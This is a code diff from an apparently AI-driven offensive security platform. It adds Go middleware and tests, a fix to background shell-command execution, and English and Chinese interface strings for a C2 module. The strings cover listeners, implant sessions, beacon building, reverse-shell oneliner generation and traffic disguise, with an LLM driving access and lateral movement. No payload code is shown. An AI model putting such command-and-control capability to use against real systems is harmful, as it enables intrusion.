t.Fatalf("unexpected error: %v", err)
}
if len(out.Messages) != len(msgs) {
t.Fatalf("empty ToolCallID tool message should be kept, got %d messages", len(out.Messages))
}
}
func TestOrphanToolPruner_NilAndEmpty(t *testing.T) {
mw := newOrphanToolPrunerMiddleware(nil, "test").(*orphanToolPrunerMiddleware)
ctx := context.Background()
// nil state
if _, out, err := mw.BeforeModelRewriteState(ctx, nil, &adk.ModelContext{}); err != nil || out != nil {
t.Fatalf("nil state: expected (nil,nil), got (%v,%v)", out, err)
}
// empty messages
empty := &adk.ChatModelAgentState{}
if _, out, err := mw.BeforeModelRewriteState(ctx, empty, &adk.ModelContext{}); err != nil || out != empty {
t.Fatalf("empty messages: expected same state, got (%v,%v)", out, err)
}
}
+7
View File
@@ -257,6 +257,9 @@ func RunDeepAgent(
subHandlers = append(subHandlers, einoSkillMW)
}
subHandlers = append(subHandlers, subSumMw)
// 孤儿 tool 消息兜底:放在 summarization 之后,telemetry 之前,
// 以便 telemetry 记录的 token 数与 LLM 实际入参一致。
subHandlers = append(subHandlers, newOrphanToolPrunerMiddleware(logger, "sub_agent:"+id))
if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "sub_agent"); teleMw != nil {
subHandlers = append(subHandlers, teleMw)
}
@@ -393,6 +396,7 @@ func RunDeepAgent(
deepHandlers = append(deepHandlers, einoSkillMW)
}
deepHandlers = append(deepHandlers, mainSumMw)
deepHandlers = append(deepHandlers, newOrphanToolPrunerMiddleware(logger, "deep_orchestrator"))
if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "deep_orchestrator"); teleMw != nil {
deepHandlers = append(deepHandlers, teleMw)
}
@@ -405,6 +409,7 @@ func RunDeepAgent(
supHandlers = append(supHandlers, einoSkillMW)
}
supHandlers = append(supHandlers, mainSumMw)
supHandlers = append(supHandlers, newOrphanToolPrunerMiddleware(logger, "supervisor_orchestrator"))
if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "supervisor_orchestrator"); teleMw != nil {
supHandlers = append(supHandlers, teleMw)
}
@@ -455,6 +460,8 @@ func RunDeepAgent(
FilesystemMiddleware: peFsMw,
PlannerReplannerRewriteHandlers: []adk.ChatModelAgentMiddleware{
mainSumMw,
// 孤儿 tool 消息兜底:必须挂在 summarization 之后、telemetry 之前。
newOrphanToolPrunerMiddleware(logger, "plan_execute_planner_replanner"),
newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "plan_execute_planner_replanner_rewrite"),
},
})
+8 -7
View File
@@ -699,9 +699,9 @@ func (e *Executor) formatParamValue(param config.ParameterConfig, value interfac
}
}
// isBackgroundCommand 检测命令是否为完全后台命令(末尾有 & 符号,但不在引号内)
// 注意:command1 & command2 这种情况不算完全后台,因为command2在前台执行
func (e *Executor) isBackgroundCommand(command string) bool {
// IsBackgroundShellCommand 检测命令是否为完全后台命令(末尾有独立 &,且不在引号内)
// command1 & command2 不算完全后台command2在前台执行)。
func IsBackgroundShellCommand(command string) bool {
// 移除首尾空格
command = strings.TrimSpace(command)
if command == "" {
@@ -827,7 +827,7 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
}
// 检测是否为后台命令(包含 & 符号,但不在引号内)
isBackground := e.isBackgroundCommand(command)
isBackground := IsBackgroundShellCommand(command)
// 构建命令
var cmd *exec.Cmd
@@ -852,9 +852,10 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
commandWithoutAmpersand := strings.TrimSuffix(strings.TrimSpace(command), "&")
commandWithoutAmpersand = strings.TrimSpace(commandWithoutAmpersand)
// 构建新命令:command & pid=$!; echo $pid
// 使用变量保存PID,确保能获取到正确的后台进程PID
pidCommand := fmt.Sprintf("%s & pid=$!; echo $pid", commandWithoutAmpersand)
// 构建新命令:将用户命令置于独立重定向的后台作业,再 echo $pid
// 若子进程与 echo 共享同一 stdout 管道,且长时间不向 stdout 写入换行,
// bufio.ReadString('\n') 会永久阻塞(例如 beacon 持续写二进制/单行日志)。
pidCommand := fmt.Sprintf("%s </dev/null >/dev/null 2>&1 & pid=$!; echo $pid", commandWithoutAmpersand)
// 创建新命令来获取PID
var pidCmd *exec.Cmd
+23
View File
@@ -205,6 +205,29 @@ func TestExecutor_ExecuteInternalTool_NoStorage(t *testing.T) {
}
}
func TestExecuteSystemCommand_BackgroundDoesNotBlockOnChildStdout(t *testing.T) {
executor, _ := setupTestExecutor(t)
// 子进程先向 stdout 写无换行字符再长时间 sleep;若与 echo $pid 共享管道且未重定向子进程 stdout,
// ReadString('\n') 会阻塞到子进程退出。后台包装须将子进程标准流与 PID 行分离。
ctx, cancel := context.WithTimeout(context.Background(), 4*time.Second)
defer cancel()
args := map[string]interface{}{
"command": `(sh -c 'printf x; sleep 120') &`,
"shell": "sh",
}
res, err := executor.executeSystemCommand(ctx, args)
if err != nil {
t.Fatalf("executeSystemCommand: %v", err)
}
if res == nil || res.IsError {
t.Fatalf("expected success, got %+v", res)
}
txt := res.Content[0].Text
if !strings.Contains(txt, "后台命令已启动") {
t.Fatalf("unexpected body: %q", txt)
}
}
func TestPaginateLines(t *testing.T) {
lines := []string{"Line 1", "Line 2", "Line 3", "Line 4", "Line 5"}
File diff suppressed because it is too large Load Diff
+694 -183
View File
File diff suppressed because it is too large Load Diff
+344 -4
View File
@@ -75,7 +75,14 @@
"roles": "Roles",
"rolesManagement": "Roles Management",
"settings": "System settings",
"hitl": "Human-in-the-loop"
"hitl": "Human-in-the-loop",
"c2": "C2",
"c2Listeners": "Listeners",
"c2Sessions": "Sessions",
"c2Tasks": "Tasks",
"c2Payloads": "Payload",
"c2Events": "Events",
"c2Profiles": "Traffic profiles"
},
"dashboard": {
"title": "Dashboard",
@@ -88,6 +95,14 @@
"clickToViewTasks": "Click to view tasks",
"clickToViewVuln": "Click to view vulnerabilities",
"clickToViewMCP": "Click to view MCP monitor",
"c2OverviewTitle": "C2 overview",
"c2GoManage": "Open C2 →",
"c2ListenersRunning": "Listeners running",
"c2SessionsOnline": "Sessions online",
"c2TasksPending": "Pending / queued tasks",
"c2ClickListeners": "View listeners",
"c2ClickSessions": "View sessions",
"c2ClickTasks": "View tasks",
"severityDistribution": "Vulnerability severity distribution",
"severityCritical": "Critical",
"severityHigh": "High",
@@ -95,6 +110,15 @@
"severityLow": "Low",
"severityInfo": "Info",
"totalVulns": "Total vulnerabilities",
"riskLevel": "Risk level",
"riskScore": "Weighted risk score",
"riskSafe": "Safe",
"riskLow": "Low",
"riskMedium": "Medium",
"riskHigh": "High",
"riskSevere": "Severe",
"latestFound": "Latest found",
"noneYet": "None yet",
"runOverview": "Run overview",
"batchQueues": "Batch task queues",
"pending": "Pending",
@@ -125,7 +149,7 @@
"lastUpdated": "Last updated",
"viewAll": "View all →",
"recentVulns": "Recent vulnerabilities",
"noVulnYet": "No vulnerabilities yet — start your first scan",
"noVulnYet": "No recent vulnerabilities",
"capabilities": "Capabilities",
"mcpTools": "MCP tools",
"rolesLabel": "Roles",
@@ -184,7 +208,7 @@
"recoCheckMonitorDesc": "View failed request details in MCP monitor",
"recoSetupMcp": "Configure your first MCP tool",
"recoSetupMcpDesc": "Install MCP server before Agent can invoke specific capabilities",
"recoStartScan": "Start your first scan",
"recoStartScan": "Start a scan from chat",
"recoStartScanDesc": "Describe your target in chat, AI will help execute",
"recentEvents": "Recent Events",
"eventUntitled": "Event",
@@ -193,7 +217,7 @@
"mcpPartialDown_one": "{{count}} stopped",
"mcpPartialDown_other": "{{count}} stopped",
"mcpAllDown": "All stopped",
"noVulnDesc": "System looks safe — start a scan to discover potential issues",
"noVulnDesc": "This list shows recent records; new results appear here when detection completes in chat",
"startScanBtn": "Go to chat to scan"
},
"chat": {
@@ -254,6 +278,7 @@
"einoSubAgentStep": "Sub-agent {{agent}} · step {{n}}",
"aiThinking": "AI thinking",
"planning": "Planning",
"assistantStreamPhase": "Assistant output",
"toolCallsDetected": "Detected {{count}} tool call(s)",
"callTool": "Call tool: {{name}} ({{index}}/{{total}})",
"toolExecComplete": "Tool {{name}} completed",
@@ -546,6 +571,17 @@
"typeCustom": "Custom",
"cmdParam": "Command parameter name",
"cmdParamPlaceholder": "Leave empty for cmd; e.g. xxx for xxx=command",
"encoding": "Response encoding",
"encodingAuto": "Auto detect",
"encodingUtf8": "UTF-8",
"encodingGbk": "GBK (Simplified Chinese Windows)",
"encodingGb18030": "GB18030",
"encodingHint": "Switch to GBK or GB18030 if the Simplified Chinese Windows target shows garbled output.",
"os": "Target OS",
"osAuto": "Auto (infer from Shell type)",
"osLinux": "Linux / Unix",
"osWindows": "Windows",
"osHint": "Determines whether file manager / uploads use Linux or Windows commands. Choose Windows for PHP/JSP hosted on Windows.",
"remark": "Remark",
"remarkPlaceholder": "Friendly name for this connection",
"deleteConfirm": "Delete this connection?",
@@ -2012,5 +2048,309 @@
"roleFilterOnBanner": "These tools are checked and linked to this role (independent of MCP-wide enable).",
"roleFilterOffBanner": "These tools are unchecked and not linked to this role.",
"checkboxLinkTitle": "Check to link this tool to this role"
},
"c2": {
"title": "C2 Management",
"welcomeTitle": "AI-Native C2 Framework",
"welcomeDesc": "MCP-native design: let LLM call C2 like calling nmap to complete the full chain: initial access → control → tasks → lateral movement → cleanup",
"statListeners": "Running Listeners",
"statSessions": "Online Sessions",
"statPending": "Pending Tasks",
"goListeners": "Manage Listeners",
"goSessions": "View Sessions",
"clipboardCopied": "Copied to clipboard",
"fmt": {
"durationMs": "{{n}}ms",
"durationSec": "{{n}}s",
"durationMin": "{{n}}m"
},
"files": {
"parent": "Parent",
"refresh": "Refresh",
"loading": "Loading…",
"timeout": "Timed out loading files",
"emptyDir": "Empty directory",
"colName": "Name",
"colSize": "Size",
"colMode": "Mode",
"colActions": "Actions",
"open": "Open",
"download": "Download",
"failed": "Failed"
},
"listeners": {
"title": "Listener Management",
"create": "Create Listener",
"name": "Name",
"type": "Type",
"bindHost": "Bind Host",
"bindPort": "Bind Port",
"status": "Status",
"remark": "Remark",
"actions": "Actions",
"start": "Start",
"stop": "Stop",
"delete": "Delete",
"edit": "Edit",
"running": "Running",
"stopped": "Stopped",
"placeholderName": "Enter listener name",
"placeholderHost": "Default 127.0.0.1",
"placeholderPort": "Enter port number",
"placeholderRemark": "Optional remark",
"emptyTitle": "No listeners yet",
"emptyHint": "Create your first C2 listener using the button below",
"headerCreateBtn": "+ Create Listener",
"modalCreateTitle": "Create Listener",
"placeholderNameExample": "e.g. http-beacon-01",
"bindHintExternal": "Use 0.0.0.0 to allow external access",
"callbackHost": "Callback host (optional)",
"callbackHostHint": "Public IP or hostname stored for payloads/beacons; separate from bind address. If empty, payload generation falls back to bind address / auto-detect.",
"placeholderRemarkLong": "Optional remark",
"editTitle": "Edit Listener",
"startedAt": "Started {{time}}",
"confirmDelete": "Delete this listener? All related sessions and tasks will be removed.",
"toastFillRequired": "Please fill in all required fields",
"toastCreated": "Listener created",
"toastStarted": "Listener started",
"toastStopped": "Listener stopped",
"toastDeleted": "Listener deleted",
"toastUpdated": "Listener updated",
"submitCreate": "Create",
"typeLabels": {
"http_beacon": "HTTP Beacon",
"https_beacon": "HTTPS Beacon",
"tcp_reverse": "TCP Reverse",
"websocket": "WebSocket"
}
},
"sessions": {
"title": "Session Management",
"hostname": "Hostname",
"username": "Username",
"os": "OS",
"arch": "Arch",
"ip": "IP Address",
"status": "Status",
"active": "Active",
"sleeping": "Sleeping",
"dead": "Dead",
"isAdmin": "Admin",
"pid": "PID",
"sleep": "Sleep Interval",
"jitter": "Jitter",
"firstSeen": "First Seen",
"lastCheckIn": "Last Check-in",
"selectSession": "Select Session",
"terminal": "Terminal",
"files": "Files",
"tasks": "Tasks",
"info": "Info",
"execute": "Execute Command",
"kill": "Kill Session",
"cardDeleteSession": "Delete",
"btnSleep": "Sleep",
"emptyTitle": "No active sessions",
"emptyHint": "Start a listener and run a payload on the target",
"unknownHost": "unknown",
"rootBadge": "ROOT",
"curlBeaconTitle": "Lightweight Curl beacon",
"curlBeaconBody": "This session was created with a Curl oneliner: heartbeat and tasks only.\nInteractive terminal and file management require a compiled Beacon binary or a TCP reverse listener.",
"infoSessionId": "Session ID",
"infoImplantUuid": "Implant UUID",
"infoHostname": "Hostname",
"infoUsername": "Username",
"infoOs": "OS",
"infoArch": "Arch",
"infoPid": "PID",
"infoProcess": "Process",
"infoAdmin": "Admin",
"infoInternalIp": "Internal IP",
"infoSleep": "Sleep",
"infoSleepLine": "{{sec}}s (jitter {{jitter}}%)",
"infoFirstSeen": "First seen",
"infoLastCheckin": "Last check-in",
"infoNote": "Note",
"adminYes": "Yes",
"adminNo": "No",
"promptSleepSeconds": "Sleep interval (seconds)",
"promptJitterPercent": "Jitter percent (0100)",
"toastSleepUpdated": "Sleep settings updated",
"confirmExitSession": "Send exit command to this session?",
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
"toastExitSent": "Exit command sent",
"toastSessionDeleted": "Session record deleted",
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
"termStatusReady": "Ready",
"termStatusExec": "Executing…",
"termStatusErr": "Error",
"termStatusTimeout": "Timeout",
"termNoSession": "Error: no session selected",
"termWaitTimeout": "[Timed out waiting for result]",
"termCleared": "Terminal cleared",
"termNoSelection": "No text selected",
"clearTerminal": "Clear"
},
"tasks": {
"title": "Task Management",
"taskId": "Task ID",
"type": "Type",
"status": "Status",
"result": "Result",
"error": "Error",
"duration": "Duration",
"createdAt": "Created At",
"queued": "Queued",
"sent": "Sent",
"running": "Running",
"success": "Success",
"failed": "Failed",
"cancelled": "Cancelled",
"viewResult": "View Result",
"cancel": "Cancel Task",
"refresh": "Refresh Tasks",
"pending": "Pending",
"emptyAll": "No tasks yet",
"emptySession": "No tasks for this session",
"colTask": "Task",
"colSession": "Session",
"colType": "Type",
"colStatus": "Status",
"colDuration": "Duration",
"colCreated": "Created",
"colActions": "Actions",
"view": "View",
"cancelBtn": "Cancel",
"modalTitle": "Task details",
"labelId": "ID",
"labelSession": "Session",
"labelType": "Type",
"labelStatus": "Status",
"labelCreated": "Created",
"labelSent": "Sent",
"labelCompleted": "Completed",
"labelDuration": "Duration",
"labelError": "Error",
"labelResult": "Output",
"toastCancelled": "Task cancelled",
"batchDelete": "Delete selected",
"selectAll": "Select all on this page",
"deleteOne": "Delete task",
"deleteBtn": "Delete",
"confirmDeleteOne": "Delete this task record from the server? This cannot be undone.",
"confirmBatchDelete": "Delete {{n}} selected task record(s)? This cannot be undone.",
"toastSelectFirst": "Select tasks to delete first",
"toastDeleted": "Deleted {{n}} task(s)",
"paginationShow": "Showing {{start}}-{{end}} / {{total}} records",
"paginationPerPage": "Per page",
"paginationFirst": "First",
"paginationPrev": "Previous",
"paginationPage": "Page {{current}} / {{total}}",
"paginationNext": "Next",
"paginationLast": "Last"
},
"payloads": {
"title": "Payload Generator",
"oneliner": "Oneliner Payload",
"build": "Build Beacon",
"listener": "Listener",
"kind": "Kind",
"host": "Callback Host",
"generate": "Generate",
"copy": "Copy to Clipboard",
"copied": "Copied",
"os": "Target OS",
"arch": "Target Arch",
"buildBtn": "Build",
"building": "Building...",
"download": "Download",
"linux": "Linux",
"windows": "Windows",
"darwin": "macOS",
"amd64": "AMD64",
"arm64": "ARM64",
"386": "386",
"arm": "ARM",
"onelinerDesc": "Generate a one-line reverse shell for the target (Bash / Python / PowerShell / Curl).",
"buildDesc": "Cross-compile a full Beacon binary for Linux / Windows / macOS.",
"hostOptional": "Callback host (optional)",
"placeholderListenerHost": "Leave empty: listener callback host, else bind address",
"generateOnelinerBtn": "Generate Oneliner",
"buildBeaconBtn": "Build Beacon",
"loopbackBeaconWarning": "127.0.0.1 works only when the beacon and C2 share the same host and network namespace (simple local test). If C2 runs in Docker and the beacon runs on the host, 127.0.0.1 hits the host loopback, not the container — use the published port plus the host LAN IP or host.docker.internal. For remote targets, bind 0.0.0.0 and rebuild.",
"noBeaconListenersTcpOnly": "tcp_reverse supports compiled Beacon (TCP + CSB1 framing); classic shell still uses Oneliner above",
"noListenersOption": "No listeners available",
"noKindOption": "No kinds available",
"toastLoadListenersFail": "Failed to load listeners: {{msg}}",
"toastPickListener": "Select a listener first",
"toastOnelinerFail": "Failed to generate oneliner: {{msg}}",
"toastBuildFail": "Failed to build beacon: {{msg}}",
"toastBuildSuccess": "Build succeeded: {{bytes}} bytes",
"buildSuccessTitle": "Build succeeded",
"buildMetaOsArch": "OS: {{os}} | Arch: {{arch}}",
"buildSize": "Size: {{bytes}} bytes",
"clickToCopyTitle": "Click to copy",
"toastDownloadQueued": "Download task queued"
},
"events": {
"title": "Event Audit",
"level": "Level",
"category": "Category",
"message": "Message",
"time": "Time",
"info": "Info",
"warn": "Warning",
"critical": "Critical",
"listener": "Listener",
"session": "Session",
"task": "Task",
"payload": "Payload",
"opsec": "OPSEC",
"refresh": "Refresh",
"empty": "No events yet",
"batchDelete": "Delete selected",
"selectAll": "Select all on this page",
"deleteOne": "Delete",
"confirmDeleteOne": "Delete this event? This cannot be undone.",
"confirmBatchDelete": "Delete {{n}} selected event(s)? This cannot be undone.",
"toastSelectFirst": "Select events to delete first",
"toastDeleted": "Deleted {{n}} event(s)",
"paginationShow": "Showing {{start}}-{{end}} / {{total}} records",
"paginationPerPage": "Per page",
"paginationFirst": "First",
"paginationPrev": "Previous",
"paginationPage": "Page {{current}} / {{total}}",
"paginationNext": "Next",
"paginationLast": "Last"
},
"profiles": {
"title": "Malleable Profile",
"name": "Name",
"userAgent": "User-Agent",
"uris": "URI Paths",
"headers": "Headers",
"jitter": "Jitter Range",
"create": "Create Profile",
"createBtn": "+ Create Profile",
"delete": "Delete",
"empty": "No profiles yet",
"defaultValue": "Default",
"modalCreateTitle": "Create Malleable Profile",
"profileNameLabel": "Profile name",
"placeholderProfileName": "e.g. cdn-fronting",
"hintUa": "Custom User-Agent for Beacon HTTP requests",
"labelBeaconUris": "Beacon URIs (one per line)",
"hintUris": "URI paths used when the beacon checks in",
"labelJitterMin": "Jitter min (ms)",
"labelJitterMax": "Jitter max (ms)",
"labelRespHeaders": "Custom response headers (JSON)",
"hintHeaders": "HTTP response headers to mimic a legitimate server",
"toastNameRequired": "Profile name is required",
"toastInvalidHeadersJson": "Invalid JSON in response headers",
"toastCreated": "Profile created",
"toastDeleted": "Profile deleted",
"confirmDelete": "Delete this profile?",
"submitCreate": "Create"
}
}
}
+344 -4
View File
@@ -75,7 +75,14 @@
"roles": "角色",
"rolesManagement": "角色管理",
"settings": "系统设置",
"hitl": "人机协同"
"hitl": "人机协同",
"c2": "C2",
"c2Listeners": "监听器",
"c2Sessions": "会话",
"c2Tasks": "任务",
"c2Payloads": "载荷",
"c2Events": "事件",
"c2Profiles": "流量伪装"
},
"dashboard": {
"title": "仪表盘",
@@ -88,6 +95,14 @@
"clickToViewTasks": "点击查看任务管理",
"clickToViewVuln": "点击查看漏洞管理",
"clickToViewMCP": "点击查看 MCP 监控",
"c2OverviewTitle": "C2 概览",
"c2GoManage": "进入 C2 →",
"c2ListenersRunning": "运行中监听器",
"c2SessionsOnline": "在线会话",
"c2TasksPending": "待审 / 排队任务",
"c2ClickListeners": "查看监听器",
"c2ClickSessions": "查看会话",
"c2ClickTasks": "查看任务",
"severityDistribution": "漏洞严重程度分布",
"severityCritical": "严重",
"severityHigh": "高危",
@@ -95,6 +110,15 @@
"severityLow": "低危",
"severityInfo": "信息",
"totalVulns": "总漏洞数",
"riskLevel": "风险等级",
"riskScore": "加权风险分",
"riskSafe": "安全",
"riskLow": "低",
"riskMedium": "中",
"riskHigh": "高",
"riskSevere": "极高",
"latestFound": "最近发现",
"noneYet": "暂无",
"runOverview": "运行概览",
"batchQueues": "批量任务队列",
"pending": "待执行",
@@ -125,7 +149,7 @@
"lastUpdated": "上次更新",
"viewAll": "查看全部 →",
"recentVulns": "最近漏洞",
"noVulnYet": "暂无漏洞,开始你的第一次扫描吧",
"noVulnYet": "暂无最近漏洞",
"capabilities": "能力总览",
"mcpTools": "MCP 工具",
"rolesLabel": "角色",
@@ -174,7 +198,7 @@
"recoCheckMonitorDesc": "在 MCP 监控中查看失败的请求详情",
"recoSetupMcp": "配置首个 MCP 工具",
"recoSetupMcpDesc": "安装 MCP 服务后 Agent 才能调用具体能力",
"recoStartScan": "开始第一次扫描",
"recoStartScan": "在对话中发起扫描",
"recoStartScanDesc": "在对话中描述目标,让 AI 协助执行",
"recentEvents": "最近事件",
"eventUntitled": "事件",
@@ -182,7 +206,7 @@
"mcpAllRunning": "全部运行",
"mcpPartialDown": "{{count}} 个未运行",
"mcpAllDown": "全部未运行",
"noVulnDesc": "系统目前安全,开始一次扫描可以发现潜在问题",
"noVulnDesc": "此处展示近期漏洞记录;在对话中完成检测后,新结果会出现在这里",
"startScanBtn": "前往对话发起扫描"
},
"chat": {
@@ -243,6 +267,7 @@
"einoSubAgentStep": "子代理 {{agent}} · 第 {{n}} 步",
"aiThinking": "AI思考",
"planning": "规划中",
"assistantStreamPhase": "助手输出",
"toolCallsDetected": "检测到 {{count}} 个工具调用",
"callTool": "调用工具: {{name}} ({{index}}/{{total}})",
"toolExecComplete": "工具 {{name}} 执行完成",
@@ -535,6 +560,17 @@
"typeCustom": "自定义",
"cmdParam": "命令参数名",
"cmdParamPlaceholder": "不填默认为 cmd,如填 xxx 则请求为 xxx=命令",
"encoding": "响应编码",
"encodingAuto": "自动检测",
"encodingUtf8": "UTF-8",
"encodingGbk": "GBK(中文 Windows",
"encodingGb18030": "GB18030",
"encodingHint": "中文 Windows 目标若出现乱码,请切换为 GBK 或 GB18030",
"os": "目标系统",
"osAuto": "自动(按 Shell 类型推断)",
"osLinux": "Linux / Unix",
"osWindows": "Windows",
"osHint": "决定文件管理/上传使用 Linux 还是 Windows 命令;PHP/JSP 跑在 Windows 上请选 Windows",
"remark": "备注",
"remarkPlaceholder": "便于识别的备注名",
"deleteConfirm": "确定要删除该连接吗?",
@@ -2001,5 +2037,309 @@
"roleFilterOnBanner": "以下为「已勾选、关联到本角色」的工具(与 MCP 管理里全局开/关无关)。",
"roleFilterOffBanner": "以下为「未勾选、未关联到本角色」的工具。",
"checkboxLinkTitle": "勾选表示本角色关联使用该工具"
},
"c2": {
"title": "C2 管理",
"welcomeTitle": "AI-Native C2 框架",
"welcomeDesc": "以 MCP 工具为一等公民,让 LLM 可以像调用 nmap 一样调用 C2 完成「上线 → 控制 → 任务 → 横向 → 清场」全流程",
"statListeners": "运行中监听器",
"statSessions": "在线会话",
"statPending": "待审任务",
"goListeners": "管理监听器",
"goSessions": "查看会话",
"clipboardCopied": "已复制到剪贴板",
"fmt": {
"durationMs": "{{n}}ms",
"durationSec": "{{n}}秒",
"durationMin": "{{n}}分钟"
},
"files": {
"parent": "上级目录",
"refresh": "刷新",
"loading": "加载中…",
"timeout": "加载文件超时",
"emptyDir": "空目录",
"colName": "名称",
"colSize": "大小",
"colMode": "权限",
"colActions": "操作",
"open": "打开",
"download": "下载",
"failed": "失败"
},
"listeners": {
"title": "监听器管理",
"create": "创建监听器",
"name": "名称",
"type": "类型",
"bindHost": "绑定地址",
"bindPort": "绑定端口",
"status": "状态",
"remark": "备注",
"actions": "操作",
"start": "启动",
"stop": "停止",
"delete": "删除",
"edit": "编辑",
"running": "运行中",
"stopped": "已停止",
"placeholderName": "输入监听器名称",
"placeholderHost": "默认 127.0.0.1",
"placeholderPort": "输入端口号",
"placeholderRemark": "可选备注",
"emptyTitle": "暂无监听器",
"emptyHint": "点击下方按钮创建第一个 C2 监听器",
"headerCreateBtn": "+ 创建监听器",
"modalCreateTitle": "创建监听器",
"placeholderNameExample": "例如 http-beacon-01",
"bindHintExternal": "使用 0.0.0.0 允许外部访问",
"callbackHost": "回连地址(可选)",
"callbackHostHint": "公网 IP 或域名,写入配置供 Payload/Beacon 使用;与「绑定地址」分离。不填则生成 Payload 时按绑定地址或自动探测。",
"placeholderRemarkLong": "可选的备注说明",
"editTitle": "编辑监听器",
"startedAt": "启动于 {{time}}",
"confirmDelete": "确定删除此监听器?相关会话与任务将被清除。",
"toastFillRequired": "请填写必填项",
"toastCreated": "监听器已创建",
"toastStarted": "监听器已启动",
"toastStopped": "监听器已停止",
"toastDeleted": "监听器已删除",
"toastUpdated": "监听器已更新",
"submitCreate": "创建",
"typeLabels": {
"http_beacon": "HTTP Beacon",
"https_beacon": "HTTPS Beacon",
"tcp_reverse": "TCP 反向",
"websocket": "WebSocket"
}
},
"sessions": {
"title": "会话管理",
"hostname": "主机名",
"username": "用户名",
"os": "操作系统",
"arch": "架构",
"ip": "IP 地址",
"status": "状态",
"active": "活跃",
"sleeping": "休眠",
"dead": "离线",
"isAdmin": "管理员",
"pid": "进程ID",
"sleep": "Sleep 间隔",
"jitter": "Jitter",
"firstSeen": "首次上线",
"lastCheckIn": "上次心跳",
"selectSession": "选择会话",
"terminal": "终端",
"files": "文件",
"tasks": "任务",
"info": "信息",
"execute": "执行命令",
"kill": "终止会话",
"cardDeleteSession": "删除会话",
"btnSleep": "Sleep",
"emptyTitle": "暂无在线会话",
"emptyHint": "启动监听器并在目标上执行 Payload",
"unknownHost": "未知",
"rootBadge": "ROOT",
"curlBeaconTitle": "轻量级 Curl 信标",
"curlBeaconBody": "此会话由 Curl Oneliner 建立,仅支持心跳保活和任务下发。\n交互式终端与文件管理需使用编译的 Beacon 可执行文件或 TCP 反向监听器。",
"infoSessionId": "会话 ID",
"infoImplantUuid": "植入体 UUID",
"infoHostname": "主机名",
"infoUsername": "用户名",
"infoOs": "操作系统",
"infoArch": "架构",
"infoPid": "PID",
"infoProcess": "进程",
"infoAdmin": "管理员",
"infoInternalIp": "内网 IP",
"infoSleep": "Sleep",
"infoSleepLine": "{{sec}} 秒(抖动 {{jitter}}%",
"infoFirstSeen": "首次上线",
"infoLastCheckin": "上次心跳",
"infoNote": "备注",
"adminYes": "是",
"adminNo": "否",
"promptSleepSeconds": "Sleep 间隔(秒)",
"promptJitterPercent": "抖动百分比(0100",
"toastSleepUpdated": "Sleep 设置已更新",
"confirmExitSession": "向该会话发送退出指令?",
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
"toastExitSent": "退出指令已发送",
"toastSessionDeleted": "会话记录已删除",
"terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制",
"termStatusReady": "就绪",
"termStatusExec": "执行中…",
"termStatusErr": "错误",
"termStatusTimeout": "超时",
"termNoSession": "错误:未选择会话",
"termWaitTimeout": "[等待结果超时]",
"termCleared": "终端已清屏",
"termNoSelection": "未选中文本",
"clearTerminal": "清屏"
},
"tasks": {
"title": "任务管理",
"taskId": "任务ID",
"type": "类型",
"status": "状态",
"result": "结果",
"error": "错误",
"duration": "耗时",
"createdAt": "创建时间",
"queued": "队列中",
"sent": "已发送",
"running": "执行中",
"success": "成功",
"failed": "失败",
"cancelled": "已取消",
"viewResult": "查看结果",
"cancel": "取消任务",
"refresh": "刷新任务",
"pending": "待处理",
"emptyAll": "暂无任务",
"emptySession": "该会话暂无任务",
"colTask": "任务",
"colSession": "会话",
"colType": "类型",
"colStatus": "状态",
"colDuration": "耗时",
"colCreated": "创建时间",
"colActions": "操作",
"view": "查看",
"cancelBtn": "取消",
"modalTitle": "任务详情",
"labelId": "ID",
"labelSession": "会话",
"labelType": "类型",
"labelStatus": "状态",
"labelCreated": "创建时间",
"labelSent": "发送时间",
"labelCompleted": "完成时间",
"labelDuration": "耗时",
"labelError": "错误",
"labelResult": "输出",
"toastCancelled": "任务已取消",
"batchDelete": "批量删除",
"selectAll": "全选本页",
"deleteOne": "删除任务",
"deleteBtn": "删除",
"confirmDeleteOne": "确定从服务器删除该任务记录吗?此操作不可恢复。",
"confirmBatchDelete": "确定删除选中的 {{n}} 条任务记录吗?此操作不可恢复。",
"toastSelectFirst": "请先勾选要删除的任务",
"toastDeleted": "已删除 {{n}} 条",
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}} 条记录",
"paginationPerPage": "每页显示",
"paginationFirst": "首页",
"paginationPrev": "上一页",
"paginationPage": "第 {{current}} / {{total}} 页",
"paginationNext": "下一页",
"paginationLast": "末页"
},
"payloads": {
"title": "Payload 生成",
"oneliner": "单行 Payload",
"build": "编译 Beacon",
"listener": "监听器",
"kind": "类型",
"host": "回连地址",
"generate": "生成",
"copy": "复制到剪贴板",
"copied": "已复制",
"os": "目标系统",
"arch": "目标架构",
"buildBtn": "构建",
"building": "构建中...",
"download": "下载",
"linux": "Linux",
"windows": "Windows",
"darwin": "macOS",
"amd64": "AMD64",
"arm64": "ARM64",
"386": "386",
"arm": "ARM",
"onelinerDesc": "快速生成可在目标机直接执行的反弹命令,支持 Bash / Python / PowerShell / Curl",
"buildDesc": "交叉编译多平台完整 Beacon 可执行文件,支持 Linux / Windows / macOS",
"hostOptional": "回连地址(可选)",
"placeholderListenerHost": "留空则优先监听器「回连地址」,否则按绑定地址",
"generateOnelinerBtn": "生成 Oneliner",
"buildBeaconBtn": "构建 Beacon",
"loopbackBeaconWarning": "127.0.0.1 仅适合「Beacon 与 C2 在同一台机、同一网络环境」本机自测。若 C2 跑在 Docker 里、Beacon 在宿主机直跑,127.0.0.1 会连到宿主而非容器,往往不上线,请改用映射端口 + 主机局域网 IP 或 host.docker.internal。远程目标请绑定 0.0.0.0 并重新编译。",
"noBeaconListenersTcpOnly": "tcp_reverse 监听器现已支持编译 Beacon(反向 TCP + 魔数 CSB1 成帧);经典 shell 仍可用上方单行 Payload",
"noListenersOption": "暂无可用监听器",
"noKindOption": "无可用类型",
